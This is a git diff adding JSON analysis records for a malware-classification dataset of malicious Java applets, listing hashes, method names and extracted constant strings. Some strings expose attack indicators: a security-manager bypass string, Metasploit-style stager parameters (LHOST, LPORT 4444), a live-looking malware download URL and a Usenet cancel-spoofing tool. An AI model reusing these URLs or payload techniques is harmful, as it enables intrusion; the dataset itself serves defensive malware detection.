"6fa383ff64ce067cb32a259cdb37e405", "hfywbjqxxxlqnp", "shmc4uge1adua4lg6y7knh"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8b0f1e4f4d0fe5ceccf72e9bc10ac343a725f443", "file_name": "java_malicious/6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd", "_id": "d991bad8-ed36-4c15-a0cb-ae04cac818c2", "score": 0, "entropy": 5.975005762332567, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3440, "ssdeep": "96:Gpt52hP6csJTk0xDBX7b1hC/hdHjRoKtRl69:k52TsJTkaDRHGnVHlk", "sha256": "6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd", "md5": "5a85e51fc82c96d494c8d9574b1bb1c8", "parent_sha256": "6b8aa76b5b6f960cac777d0249891cc7f2b6ae10a526aedcefad728372e42efd"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/6bb0c75b3fb5a31ef42b2e6abdb3f0eaea9b18a0dd52afa6a68a9509fe86342d.results b/java_classification/data/malicious/6bb0c75b3fb5a31ef42b2e6abdb3f0eaea9b18a0dd52afa6a68a9509fe86342d.results
new file mode 100755
index 0000000..ed1bbeb
--- /dev/null
+++ b/java_classification/data/malicious/6bb0c75b3fb5a31ef42b2e6abdb3f0eaea9b18a0dd52afa6a68a9509fe86342d.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"major_version": 45, "class_name": "NewsCancel", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "NewsCancel.java", "method_names": ["makePoster", "makePoster", "breakPoster", "remakePoster", "buildList", "buildList", "changeMessageID", "GroupFieldGotFocus", "sendLine", "PauseButtonClicked", "AbortButtonClicked", "MsgidListGotFocus", "countDown", "checkResurrect", "FromListGotFocus", "SuperCedeEvent", "postCancels", "showStatus", "appendStatus", "remakeConnections", "makeConnections", "breakConnections", "doGroup", "redoGroup", "yielding", "abortNewsCancel", "doXhdr", "removeGroup", "checkIT", "changeBeforeAt", "fatal", "doPosting", "hideNewsCancel", "doSlide", "pausing", "doXhdrMessageID", "makeMessageID", "SlideButtonClicked", "SuperCedeConstructor", "StatusLineGotFocus", "PostFieldGotFocus", "ScanFieldGotFocus", "action", "run", "pauseCancelAgent", "autoPathTail", "AvoidButtonClicked", "handleEvent", "uncaughtException", "stop", "createArticles", "sendControl", "spoofServers", "SuperCedeStop", "remakeArticle", "makeDate", "strSub", "setupCancel", "pauseNewsCancel", "start", "makeScanner", "makeScanner", "breakScanner", "remakeScanner", "doXhdrFrom", "updateLabels", "doListActive", "SSpeedFieldGotFocus", "PSpeedFieldGotFocus", "lostConnection", "<init>", "abortCancelAgent", "waiting", "<clinit>", "extractHost", "selectedExit", "cleanWhite", "SuperCedeStart"], "minor_version": 3, "const_pool_count": 2657}}, "_id": "33adb73f-c2cd-44bb-ad36-ad235591e043", "verbose": {"java": {"constant strings": ["connect: ", "connecting", "200", "201", "posting not allowed", "4", "too many connections", "6", "authenticating ", "authinfo user ", "666", "381", "503", "authinfo pass ", "281", "user/pass rejected", ",", ".txt", "cancel.", "<", "@", ">", " will PAUSE at next opportunity.", "Click ABORT again, to kill this ", " in ", " seconds.", "0", "locating article #", "GROUP ", "XHDR Message-ID ", "-", "221", "resurrect XHDR failure.", ".", "resurrecting article #", "article #", " is on spool", "cancelling ", "Hit Nothing.", "Hit Everything!", "duplicate message ID.", "need authorization", ", some fucked up response.", "0.0", "avoid ", "ignore ", "cancel post average = ", " seconds/cancel", "get ARTICLE NUMBERS for ", "480", "211", "first time for ", " is empty.", " has ", " article(s).", " not reGROUPing.", "XHDR ", " ", "get ", " headers", " headers: ", "% complete", "skip own article #", "EMPTY ", " for #", " NOT FOUND!", "header load average = ", " headers/second", "removing ", "no more newsgroups to process.", "equals", "does not equal", "contains", "does not contain", "ends with", "does not end with", "begins with", "does not begin with", ", ", "<html>", "</html>", "send article #", "IHAVE ", "POST", "440", "500", "502", "482", "335", "340", "auto", "MIME-Version: 1.0", "Content-Type: multipart/mixed; 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\ No newline at end of file
diff --git a/java_classification/data/malicious/6bdedc6dd44687b49ad6b23741c7754ff65e9b1ab540c731251632ae8807545d.results b/java_classification/data/malicious/6bdedc6dd44687b49ad6b23741c7754ff65e9b1ab540c731251632ae8807545d.results
new file mode 100755
index 0000000..648f2a2
--- /dev/null
+++ b/java_classification/data/malicious/6bdedc6dd44687b49ad6b23741c7754ff65e9b1ab540c731251632ae8807545d.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/6ca44fd325530ee2226ad95a5068ca9c193c1be5e9d15c7406ea03a4bfd92310.results b/java_classification/data/malicious/6ca44fd325530ee2226ad95a5068ca9c193c1be5e9d15c7406ea03a4bfd92310.results
new file mode 100755
index 0000000..24adda4
--- /dev/null
+++ b/java_classification/data/malicious/6ca44fd325530ee2226ad95a5068ca9c193c1be5e9d15c7406ea03a4bfd92310.results
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diff --git a/java_classification/data/malicious/6d4d44da1e227b6fcf2a898879b798bca14652d58a03e38daeb3f2d15ea00f41.results b/java_classification/data/malicious/6d4d44da1e227b6fcf2a898879b798bca14652d58a03e38daeb3f2d15ea00f41.results
new file mode 100755
index 0000000..969dd3f
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+++ b/java_classification/data/malicious/6d4d44da1e227b6fcf2a898879b798bca14652d58a03e38daeb3f2d15ea00f41.results
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diff --git a/java_classification/data/malicious/6dce4dc3dbcf50c6f3bfce2969079aa9bd9a1cc1607bb2b428248d7e8d667671.results b/java_classification/data/malicious/6dce4dc3dbcf50c6f3bfce2969079aa9bd9a1cc1607bb2b428248d7e8d667671.results
new file mode 100755
index 0000000..f3c2855
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+++ b/java_classification/data/malicious/6dce4dc3dbcf50c6f3bfce2969079aa9bd9a1cc1607bb2b428248d7e8d667671.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/6e0fcd06134b43bf404f5822584ce29f3660407b26527647346eeb10e237f9fa.results b/java_classification/data/malicious/6e0fcd06134b43bf404f5822584ce29f3660407b26527647346eeb10e237f9fa.results
new file mode 100755
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+{"characteristics": {"java": {"sourcefile": "yYinxa.java", "class_name": "yYinxa", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "obwpjjg", "xmjmR", "Ujjabdcv", "LIOvM"], "minor_version": 0, "const_pool_count": 140}}, "_id": "254cc0de-ffc4-4dc1-80fa-9ce06a789e7a", "verbose": {"java": {"constant strings": ["\\x19\\x12\\x05\\x12]\\x1d\\x16\\x07]&!?", "\\x1c\\x03\\x16\\x1d \\x07\\x01\\x16\\x12\\x1e", "\\x19\\x12\\x05\\x12]\\x1a\\x1c]5\\x1a\\x1f\\x16<\\x06\\x07\\x03\\x06\\x07 \\x07\\x01\\x16\\x12\\x1e", "\\x04\\x01\\x1a\\x07\\x16", "close", "\\x16\\x0b\\x16\\x10", "\\x01\\x16\\x14\\xc0\\x80\\x05\\x01@AS^\\xc0\\x80SQ", "Q", "", "\\x19\\x12\\x05\\x12]\\x1a\\x1c]\\x07\\x1e\\x03\\x17\\x1a\\x01", "]\\x16\\x0b\\x16"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a74b72983285234f7665032390a5178f3071bfbc", "file_name": "java_malicious/6e0fcd06134b43bf404f5822584ce29f3660407b26527647346eeb10e237f9fa", "_id": "254cc0de-ffc4-4dc1-80fa-9ce06a789e7a", "score": 0, "entropy": 5.858929477322526, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2672, "ssdeep": "48:Jg7lyFlCC/syVE2i+9e0CCk/VSTcjFMpA9wMZM3YouG3iZ9+7CCdev9d:JcwFlCCPZw00/M4JM+wMOHuHZ95wGv", "sha256": "6e0fcd06134b43bf404f5822584ce29f3660407b26527647346eeb10e237f9fa", "md5": "0c4dbfeebb4a6d4f71d23648f534ea83", "parent_sha256": "6e0fcd06134b43bf404f5822584ce29f3660407b26527647346eeb10e237f9fa"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26.results b/java_classification/data/malicious/6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26.results
new file mode 100755
index 0000000..63c1810
--- /dev/null
+++ b/java_classification/data/malicious/6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "callBack"], "minor_version": 0, "const_pool_count": 113}}, "_id": "40a4280c-c758-4918-a5a6-32e0b83108bd", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 5.147266762059739}, "constant strings": ["js", "applet", "11j00a22v33a44.55l66a77n88g44.33S44y544522s55t66e77m88.99s00e8t7S453e2c1u3r3i4t5y6M7a5n4a3g4e5r6(7n4u3l2l2)1;", "this.toString = function() {", "\\\\d", "", "\\tapplet.callBack();", "};", "e = new Error();", "e.message = this;", "e", "calc.exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "40241387a344b89fd07bce47ba0fa600411188dc", "file_name": "java_malicious/6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26", "_id": "40a4280c-c758-4918-a5a6-32e0b83108bd", "score": 10, "entropy": 5.777662844609662, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2226, "ssdeep": "48:xHvtt8rByFlP6unyQ8RkedgPV6H8YJjMkz5tjb1:xvbgcFlPBn5vedg08Qtz5t1", "sha256": "6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26", "md5": "884134e59f8a1c0dda318996dd77ea1f", "parent_sha256": "6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26"}}
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diff --git a/java_classification/data/malicious/6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54.results b/java_classification/data/malicious/6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54.results
new file mode 100755
index 0000000..ee0a735
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+++ b/java_classification/data/malicious/6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "xddZv.java", "class_name": "xddZv", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "WUAXN", "nvmvl", "swciQw", "khSDX", "VqsreKX", "kJXLf", "SzHLmhXbP", "dnFJVEiVx"], "minor_version": 0, "const_pool_count": 157}}, "_id": "5881f39e-32ee-41f9-8ff5-a65e10a35644", "verbose": {"java": {"constant strings": ["\\x1e\\t\\x1c", "\\x1f\\x08\\x1d\\x1e\\x18\\x12\\x10\\x11\\x1f\\x08\\x17\\t\\x1cZ\\x11\\x14\\x1c\\x17", "\\x12\\t\\x1e\\t\\x10\\x10", "\\x1d\\x1d", "\\x0e\\x08\\x0e\\x08", "\\x0c\\x1d\\x0e\\x0f\\x1e\\t\\x1b", "", "\\x08\\x0e\\x03\\x1f", "\\x0c\\x1d\\x1e\\t\\x1b", "\\t\\x1c\\t\\x1e", "\\x08\\x0e\\r\\r\\x03\\x1f", "\\x0c\\x1d\\x0b\\x1e\\t\\x1b"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "57198523861a686e47d045e4c4ab6b50fdf143bf", "file_name": "java_malicious/6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54", "_id": "5881f39e-32ee-41f9-8ff5-a65e10a35644", "score": 0, "entropy": 3.4407947218441803, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 22003, "ssdeep": "192:AjZrUgq4tv5mSpRzsUh/MnBYvoCF0NtGd5C9x9TQN4:ihjJ6BYj0sC9x9MN4", "sha256": "6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54", "md5": "072cb5300ff5d8389ad0a5b7dd0738dd", "parent_sha256": "6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54"}}
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diff --git a/java_classification/data/malicious/6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b.results b/java_classification/data/malicious/6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b.results
new file mode 100755
index 0000000..c466b21
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+++ b/java_classification/data/malicious/6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/ismnhtirdvf", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "jcjubyrwtpbbjimvjkx", "xxervmcbghqiwatws", "cdghfdigpdyfgebe", "dtwhkmxmrkbaocnxidv", "toghopualzgwotp", "wyxjgvdngdtordls", "oxnitdcsgnbmvizkjub", "zbucmtyhtrrbmqz", "jokwubvsocbvkzqfw", "yejrhgsdwfyuofw", "init", "prxxoocmgydujnf", "yqufaftqkpfmevpvmq", "aidxagvrwsjnboee", "tqmtegsrnxumbyh", "jsiaquwkkdzhdsqgne", "qmoofxdvnypvtokuu", "biecibriorxrorilg"], "minor_version": 0, "const_pool_count": 343}}, "_id": "a769a64b-9478-4931-bc44-1efdad416e26", "verbose": {"java": {"constant strings": ["hnqpxwisgquhauyfijnlkffkufl", "mhteegjxwmxwploil", "n", "bjbnfimudhsrzrko", "pptp", "bhioqinnbtk", "xfwsbyeoyzckttg", "", "yxxkc", "ekdpsaieltjfobdjfdutzxh", "hxzqgpo", "tanpmfmnrbndqfbann", "rrekjstmmzhpawivkwcskconvjekf", "hywbjilwdxmfndrsnbfyyjr", "rl", "tyhjzeeftlkcbucelruhvtptp", "ehjqm", "kib", "onnhlnguwcnlw", "qbqhjanhpgvassipkxttjkwpmoon", "qczqxhramgqqjwfzovtgcckbjhi", "jmxprbiupjrfetvonpppno", "zuxkobpqjyxz", "cqeb", "cykoovyvkegft", "meiwnfikppn", "deaxyglvwrmrqhqsyprw", "dztyuuyghxbqxvgibozrq", "rjna", "jdcniuaamadexnopvz", "wuii", "haozpjaxr", "trqwbhcaavvlqddwz", "baoougauduz", "ud", "fzginpphfthksxp", "acnpdstykvl", "mvtbjxhyszcorsuoib", "ptpxznryhxypm", "eiujmabvwymnm", "twirigmizqbxqkl", "tvonsxjen", "rhvezhtjkc", "twhplbqjjgvjdqljglecnkyqbu", "xoslcxymlchahiqpwpdrqcprlvazz", "pbscordwcfmhugqmsdosrkbrds", "tnwiqriqdmqt", "vtfjqouipjlv", "buncgrgylcw", "nerdkvujrgafgziizbvcslgqd", "aruziudil", "t", "h", "e", "U", "s", "a", "f", "cnifadibgwbxahyyzrktijxnc", "nkxqutgdj", "wgjullqutloiv", "beyolilcvhcbqmiogheygnrlujkov", "nvttcstecsaadausydeyqatgfdw", "hpqbsmcpuf", "xlpglf", "qzut", "zgmzwmmrtwfdumfdx", "ltamy", "gkvyhbrsktppgebwbchl", "dwqwzl", "tprdtmzfnnhywgblmbxojveudqmvr", "ueajfvbcgiqngfaltohnbkk", "zojfy", "l", "zvximysjnahddwefikczmmaqh", "tccsfkdkkoq", "dqewzjfa", "oz", "davboyqp", "crjpaxqtxvxhgpxiatvzve", "ydzrxgftdutkpeliptztgmrwkg", "mkyicfemxypdqltvvdoscwazluncs", "jdvzmv", "ypngmrykpfdl", "ubqvnycco", "quolpkhhtcggamlpo", "xmls", "lwypuervlvytmbtslfaprygnuhrgs", "spjgmlvzbd", "vgnnn", "kgcswirgyy", "jqd", "cchdbbfhvbjf", "mhpcykccigthmdmzaly", "mayvjumxpbbsetrpzkvk", "tbvtydwn", "pjrdpqvlosqhsvfqqhfazhqlznzbv", "hddbaagcnl"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "63528f56a740a01ff4ef8084778e409699283860", "file_name": "java_malicious/6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b", "_id": "a769a64b-9478-4931-bc44-1efdad416e26", "score": 0, "entropy": 5.812240502511847, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6994, "ssdeep": "96:9T+VfjsrrEUduPKORs2+JCkskADx/4l1xOUAXCglN52oBRPbRp1sbNLk85EXB9nC:95nEcuSO9DZgarDRjRAZZ2RU", "sha256": "6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b", "md5": "bb9fefdb72999c2c17abf997330f7bff", "parent_sha256": "6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b"}}
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diff --git a/java_classification/data/malicious/70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7.results b/java_classification/data/malicious/70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7.results
new file mode 100755
index 0000000..1161afb
--- /dev/null
+++ b/java_classification/data/malicious/70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "ddr_uuidjadis1.java", "class_name": "ddr_uuidjadis1", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "fbrgffrrgwerrwefref", "asd_asdasd_Asd"], "minor_version": 0, "const_pool_count": 71}}, "_id": "387e7f09-4892-48bb-9ace-6e6937a3dc41", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 3.9985534334598767}, "constant strings": ["", "ce", "wfwfrw adr3 grvrw adr3 grvr", "adfegt4r3qw fe4t2\\t3 qrfet2 r3adfegt4r3qw fe4t2\\t3 qrfet2 r3adfegt4r3qw fe4t2\\t3 qrfet2 r3", "XZE", "IKJ"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "aa8c96cec8cf578057275bf084099c2a5c810000", "file_name": "java_malicious/70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7", "_id": "387e7f09-4892-48bb-9ace-6e6937a3dc41", "score": 0, "entropy": 5.595007294075409, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1405, "ssdeep": "24:9GiyQul3q6ydoKqtfS8FfTrr4GoGJXFoe2reUbnGwm:9vyFl6/2KqtfSeoYX52SUbnS", "sha256": "70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7", "md5": "fe6057723d0f5175687039657e5542b2", "parent_sha256": "70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238.results b/java_classification/data/malicious/719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238.results
new file mode 100755
index 0000000..8ba907b
--- /dev/null
+++ b/java_classification/data/malicious/719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "eCFArgUGnV/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "d8bf928f-9437-4a06-8d8e-8b059dab7cec", "verbose": {"java": {"constant strings": ["eCFArgUGnV.Payload", ".class", "/eCFArgUGnV.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "eCFArgUGnV.dat", "URL", "", "https:", "eCFArgUGnV/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "eCFArgUGnV/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "eCFArgUGnV.PayloadTrustManager", "useFor", "java.net.URLConnection", "eCFArgUGnV.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaLPAbmvh.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9f204652585c4634fbe753c3cba4dec270df1b7b", "file_name": "java_malicious/719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238", "_id": "d8bf928f-9437-4a06-8d8e-8b059dab7cec", "score": 0, "entropy": 6.138657150146168, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMaDUB1+W0TThmgGxAIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tC1+tmn8NvpvUrKYvCkgHzbDrDF", "sha256": "719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238", "md5": "976cbe8da349683aa6e6478257c94c38", "parent_sha256": "719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646.results b/java_classification/data/malicious/71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646.results
new file mode 100755
index 0000000..619f13f
--- /dev/null
+++ b/java_classification/data/malicious/71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "cyXpc.java", "class_name": "hhIji/cyXpc", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "IYYIii", "<clinit>"], "minor_version": 0, "const_pool_count": 359}}, "_id": "54045210-17f7-4af4-9490-41804b18ab10", "verbose": {"java": {"constant strings": ["?6!#!6", "+6!#!6", "(6!#6", "($6!", "3$6$", "$&", "=6!"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5d7ec8412160182e7016e845c9caa79b793ff42c", "file_name": "java_malicious/71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646", "_id": "54045210-17f7-4af4-9490-41804b18ab10", "score": 0, "entropy": 5.010358249976696, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6255, "ssdeep": "192:blqRgTimAEX2J43lol1sG5F0hRBHrDa6Du:blqRgTi1EX2J43lo8K0Rre6S", "sha256": "71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646", "md5": "89beb6af0259fbb50726e39ebe0b6628", "parent_sha256": "71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91.results b/java_classification/data/malicious/72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91.results
new file mode 100755
index 0000000..488c43b
--- /dev/null
+++ b/java_classification/data/malicious/72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "FDIVazrVzX/eenWexN", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "35070ec7-553c-49f9-98d9-d010d5dbe634", "verbose": {"java": {"constant strings": ["FDIVazrVzX.eenWexN", ".class", "/FDIVazrVzX.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "FDIVazrVzX.dat", "URL", "", "https:", "FDIVazrVzX/eenWexNTrustManager.class", "eenWexNTrustManager.class", "AESPassword", "FDIVazrVzX/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "FDIVazrVzX.eenWexNTrustManager", "useFor", "java.net.URLConnection", "FDIVazrVzX.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "eenWexN -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7b18d5ffe06d815d56d2674cbba14503cda5b7c5", "file_name": "java_malicious/72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91", "_id": "35070ec7-553c-49f9-98d9-d010d5dbe634", "score": 0, "entropy": 6.1452699480270745, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMkDUBl+W+3Thm/Y8xKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tslstm5yNvpvUrKYvCkgHzbDrDF", "sha256": "72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91", "md5": "1d15ee4a2171de642e5098c4c8b3ea75", "parent_sha256": "72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac.results b/java_classification/data/malicious/73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac.results
new file mode 100755
index 0000000..e63ea62
--- /dev/null
+++ b/java_classification/data/malicious/73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "fawa.java", "class_name": "fawa/fawa", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<clinit>", "<init>", "fawa", "fawc", "fawa", "fawb"], "minor_version": 0, "const_pool_count": 62}}, "_id": "d5d484bf-2768-41f4-8f26-4d8d776fc2d7", "verbose": {"java": {"constant strings": [""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e1900df9bf2d9494743e640ff4e5ce1c39a073b1", "file_name": "java_malicious/73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac", "_id": "d5d484bf-2768-41f4-8f26-4d8d776fc2d7", "score": 0, "entropy": 5.160549125459742, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 960, "ssdeep": "24:4Z2sFG5BA/p8zqG4urKFxllHraM/9il73:4UsYA/pA9Fix3HraMg73", "sha256": "73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac", "md5": "4955a7b47e068075e149dd144b32f624", "parent_sha256": "73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e.results b/java_classification/data/malicious/73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e.results
new file mode 100755
index 0000000..7f541c3
--- /dev/null
+++ b/java_classification/data/malicious/73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Matrix.java", "class_name": "Matrix", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "check", "a", "a"], "minor_version": 3, "const_pool_count": 173}}, "_id": "35cceafb-ed5a-452b-9cf4-f0ebb5d9791f", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.6660359127626885}, "constant strings": ["no error", "os.name", "http://buytraff.biz/dl/loadadv675.exe", "\\\\loadnew.exe", "http://buytraff.biz/dl/cheat.php?adv=adv675"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e6d019ad342ceb77ee2ad4c584a680440c484a10", "file_name": "java_malicious/73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e", "_id": "35cceafb-ed5a-452b-9cf4-f0ebb5d9791f", "score": 0, "entropy": 5.887955347907279, "libmagic": "compiled Java class data, version 45.3", "file_size": 2945, "ssdeep": "48:9JrYyss0yFlS/vJ4RPXTwe5Hj4ZKErZqHkZWyK/WcSkjfcB9GcJmIDnom1JeUX2u:LFlOhyXTCTtcSkjfcGcEk51rX2oh", "sha256": "73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e", "md5": "3d4a62953eca502e4f5714874d929024", "parent_sha256": "73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d.results b/java_classification/data/malicious/7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d.results
new file mode 100755
index 0000000..7f02106
--- /dev/null
+++ b/java_classification/data/malicious/7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d.results
@@ -0,0 +1 @@
